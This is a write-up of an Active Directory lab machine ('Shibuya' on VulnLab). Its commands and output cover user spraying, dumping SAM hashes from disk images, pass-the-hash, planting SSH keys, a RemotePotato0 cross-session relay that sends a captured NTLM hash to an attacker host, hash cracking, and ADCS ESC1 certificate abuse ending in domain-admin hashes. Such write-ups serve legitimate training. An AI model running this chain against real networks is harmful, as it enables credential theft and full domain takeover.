Shibuya is a medium-difficulty Active Directory machine on VulnLab, created by xct. It involves user enumeration, SMB shares, cross-session relay attack, and ESC1
22/tcp open ssh 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server
From the Nmap scan, we can see that we’re dealing with a Domain Controller, as it has DNS and Kerberos services running. Additionally, SSH is open, which is unusual
SMB
We can try listing shares using null authentication and guest authentication, but in this case, both failed
In this case, we got two users: purple and red (this is a Jujutsu Kaisen reference, just like the name of the machine) We don’t have a password yet, but we can try using the username as the password, sometimes this works
1 2 3
$ nxc smb shibuya.vl -u red -p red SMB 10.10.106.81 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.106.81 445 AWSJPDC0522 [-] shibuya.vl\red:red STATUS_LOGON_FAILURE
Using NTLM authentication doesn’t work; however, when we add -k to authenticate using Kerberos, it works
1 2 3
$ nxc smb shibuya.vl -u red -p red -k SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
Awesome! Now that we have valid credentials, we can enumerate further. Running --shares to look for SMB shares, we notice two non-standard shares called users and images$, but we only have read access to the users share
$ smbclient.py -k -no-pass awsjpdc0522.shibuya.vl Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # shares ADMIN$ C$ images$ IPC$ NETLOGON SYSVOL users # use users # ls drw-rw-rw- 0 Sun Feb 16 11:50:59 2025 . drw-rw-rw- 0 Wed Feb 19 13:59:37 2025 .. drw-rw-rw- 0 Sat Feb 15 07:49:31 2025 Administrator drw-rw-rw- 0 Sat Feb 15 16:48:20 2025 All Users drw-rw-rw- 0 Sat Feb 15 16:49:12 2025 Default drw-rw-rw- 0 Sat Feb 15 16:48:20 2025 Default User -rw-rw-rw- 174 Sat Feb 15 16:46:52 2025 desktop.ini drw-rw-rw- 0 Tue Feb 18 20:29:42 2025 nigel.mills drw-rw-rw- 0 Sat Feb 15 07:49:31 2025 Public drw-rw-rw- 0 Tue Feb 18 20:36:45 2025 simon.watson
As you can see, we have more users that we can add to our users file. We can also try accessing each folder, but in this case, we get a permission denied
1 2 3 4
# cd simon.watson [-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. # cd nigel.mills [-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Let’s also enumerate more domain users using the --users flag in NetExec
After connecting and listing the files, we see some .wim files, which stand for Windows Imaging Format. It’s a disk image file format that contains a snapshot of a Windows installation
1 2 3 4 5 6 7 8 9 10 11 12 13
$ smbclient.py svc_autojoin@shibuya.vl Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
Password: Type help for list of commands # use images$ # ls drw-rw-rw- 0 Wed Feb 19 18:35:20 2025 . drw-rw-rw- 0 Wed Feb 19 13:59:37 2025 .. -rw-rw-rw- 8264070 Wed Feb 19 18:35:20 2025 AWSJPWK0222-01.wim -rw-rw-rw- 50660968 Wed Feb 19 18:35:20 2025 AWSJPWK0222-02.wim -rw-rw-rw- 32065850 Wed Feb 19 18:35:20 2025 AWSJPWK0222-03.wim -rw-rw-rw- 365686 Wed Feb 19 18:35:20 2025 vss-meta.cab
Let’s download them to our local machine and take a look
1 2 3 4
# get AWSJPWK0222-01.wim # get AWSJPWK0222-02.wim # get AWSJPWK0222-03.wim # get vss-meta.cab
1 2 3 4
$ file *.wim AWSJPWK0222-01.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup AWSJPWK0222-02.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup AWSJPWK0222-03.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup
We can mount those files, but a simpler way is to run 7z on them to extract the contents
1 2 3
$ 7z x AWSJPWK0222-01.wim $ ls Administrator 'All Users' Default 'Default User' desktop.ini Public simon.watson
We have the home directories of Administrator and simon.watson, but there’s nothing interesting there. Let’s move on to the second WIM file and repeat the same process we used on the first one.
1 2
$ ls SAM SYSTEM SECURITY SAM SECURITY SYSTEM
Nice! There are the SAM, SYSTEM, and SECURITY hives. Let’s dump them using secretsdump from impacket
$ secretsdump.py -system SYSTEM -sam SAM -security SECURITY local Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
Awesome, we got some hashes. You’d think it’s the Administrator’s hash, but it’s not. We can try spraying the Administrator and Operator user hashes with the list of users we got earlier, but in this case, it’s reasonable to guess that the Operator hash belongs to the simon.watson user, since he’s the one present on the machine, as we saw from the first WIM file we extracted
$ smbclient.py simon.watson@shibuya.vl -hashes :5d8c3d1a20bd63f60f469f6763ca0d50 Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # use users # cd simon.watson # ls drw-rw-rw- 0 Tue Feb 18 20:36:45 2025 . drw-rw-rw- 0 Sun Feb 16 11:50:59 2025 .. drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 AppData drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Application Data drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Cookies drw-rw-rw- 0 Sun Feb 16 11:42:41 2025 Desktop drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Documents drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Downloads drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Favorites drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Links drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Local Settings drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Music drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 My Documents drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 NetHood -rw-rw-rw- 262144 Sun Feb 16 11:42:05 2025 NTUSER.DAT -rw-rw-rw- 106496 Sun Feb 16 11:42:05 2025 ntuser.dat.LOG1 -rw-rw-rw- 0 Sun Feb 16 11:42:05 2025 ntuser.dat.LOG2 -rw-rw-rw- 65536 Sun Feb 16 11:42:08 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf -rw-rw-rw- 524288 Sun Feb 16 11:42:05 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms -rw-rw-rw- 524288 Sun Feb 16 11:42:05 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms -rw-rw-rw- 20 Tue Feb 18 20:30:58 2025 ntuser.ini drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Pictures drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 PrintHood drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Recent drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Saved Games drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 SendTo drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Start Menu drw-rw-rw- 0 Sun Feb 16 11:42:06 2025 Templates drw-rw-rw- 0 Sun Feb 16 11:42:05 2025 Videos
We can get the user flag from the desktop
1 2 3 4 5 6
# cd desktop # ls drw-rw-rw- 0 Sun Feb 16 11:42:41 2025 . drw-rw-rw- 0 Tue Feb 18 20:36:45 2025 .. -rw-rw-rw- 36 Sun Feb 16 11:43:08 2025 flag.txt # get flag.txt
Now we need a way to get a shell on the box. Remember from the Nmap scan that SSH is open. Let’s create a .ssh folder inside the user’s home directory and place our key there
1 2 3 4 5 6
$ ssh-keygen -t ed25519 -f simon $ mv simon.pub authorized_keys
# mkdir .ssh # cd .ssh # put authorized_keys
And we’re in!
1 2 3 4 5
$ ssh -i simon simon.watson@shibuya.vl Microsoft Windows [Version 10.0.20348.3207] (c) Microsoft Corporation. All rights reserved.
Another way we can connect to SSH is by using changepasswd from Impacket to change Simon’s password using his hash, since we can’t use pass-the-hash with SSH
1 2 3 4 5 6
$ changepasswd.py shibuya.vl/simon.watson@shibuya.vl -hashes :<REDACTED> -newpass P@ssw0rd Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of shibuya.vl\simon.watson [*] Connecting to DCE/RPC as shibuya.vl\simon.watson [*] Password was changed successfully.
1 2 3 4 5 6
$ ssh simon.watson@shibuya.vl simon.watson@shibuya.vl's password: Microsoft Windows [Version 10.0.20348.3207] (c) Microsoft Corporation. All rights reserved.
Since LDAP is closed, we weren’t able to gather BloodHound data earlier. But now that we have an SSH connection, we can open a SOCKS proxy and use it to collect BloodHound data remotely with NetExec
We can try to list more information about the session using the qwinsta command, but in this case, it failed
1 2
PS C:\Users\simon.watson> qwinsta * No session exists for *
Somehow, if we run it with runas it works, as shown here
1 2 3 4 5 6 7 8 9 10
sliver (shibuya) > execute-assembly '/home/serio/vulnlab/shibuya/RunasCs.exe' x x qwinsta -l 9
[*] Output:
SESSIONNAME USERNAME ID STATE TYPE DEVICE >services 0 Disc rdp-tcp#0 nigel.mills 1 Active console 2 Conn 31c5ce94259d4... 65536 Listen rdp-tcp 65537 Listen
As you can see, the user nigel.mills has a session with an ID of 1. Another way to enumerate this is by checking the “Sessions” option in BloodHound, it should show that the user nigel has a session on the DC
Cross Session Relay
With this information in hand, we can perform a cross-session relay attack (that’s why the machine is called Shibuya) and capture Nigel’s hash. You can refer to 0xdf’s write-up on Rebound here. To carry out the attack we need to download the RemotePotato0 binary and upload it to the target machine. The attack can also be performed using KrbRelay, but I prefer the first option First, we run socat like this
Then, we execute RemotePotato0 on the target machine
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
PS C:\ProgramData> .\RemotePotato0.exe -m 2 -r 10.8.0.210 -x 10.8.0.210 -p 8888 -s 1 [*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on 10.8.0.210 to your victim machine on port 8888 [*] Example Network redirector: sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:8888 [*] Starting the RPC server to capture the credentials hash from the user authentication!! [*] RPC relay server listening on port 9997 ... [*] Spawning COM object in the session: 1 [*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54} [*] Starting RogueOxidResolver RPC Server listening on port 8888 ... [*] IStoragetrigger written: 102 bytes [*] ServerAlive2 RPC Call [*] ResolveOxid2 RPC call [+] Received the relayed authentication on the RPC relay server on port 9997 [*] Connected to RPC Server 127.0.0.1 on port 8888 [+] User hash stolen!
And as you can see, we’ve captured nigel’s hash. Let’s save it to a file and crack it with john
1 2 3 4 5 6 7 8 9
$ j nigel.hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status <REDACTED> (Nigel.Mills) 1g 0:00:00:00 DONE (2025-04-07 22:01) 10.00g/s 2273Kp/s 2273Kc/s 2273KC/s asswipe!..920217 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 4 [*] Got certificate with UPN '_admin' [*] Certificate has no object SID [*] Saved certificate and private key to '_admin.pfx'
Nice! we got the pfx, now we can use it to get his hash
1 2 3 4 5 6
$ certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.10.106.81 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl [*] Trying to get TGT... [-] Object SID mismatch between certificate and user '_admin'
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 6 [*] Got certificate with UPN '_admin' [*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500' [*] Saved certificate and private key to '_admin.pfx'
1 2 3 4 5 6 7 8 9
$ certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.10.106.81 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to '_admin.ccache' [*] Trying to retrieve NT hash for '_admin' [*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
With the DA hash in hand, we can perform a DCSync, but I’ll just read the flag via SMB
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 11 [*] Got certificate without identification [*] Certificate has no object SID [*] Saved certificate and private key to 'nigel.mills.pfx'
1 2 3 4 5 6 7 8 9
$ proxychains4 -q certipy req -u Nigel.Mills -p <REDACTED> -ca shibuya-AWSJPDC0522-CA -target-ip 10.10.106.81 -template User -on-behalf-of _admin -pfx nigel.mills.pfx -key-size 4096 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 13 [*] Got certificate with UPN '_admin@shibuya.vl' [*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500' [*] Saved certificate and private key to '_admin.pfx'
1 2 3 4 5 6 7 8 9
$ proxychains4 -q certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.10.106.81 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to '_admin.ccache' [*] Trying to retrieve NT hash for '_admin' [*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
That concludes this machine. I hope you learned something new! 🐱
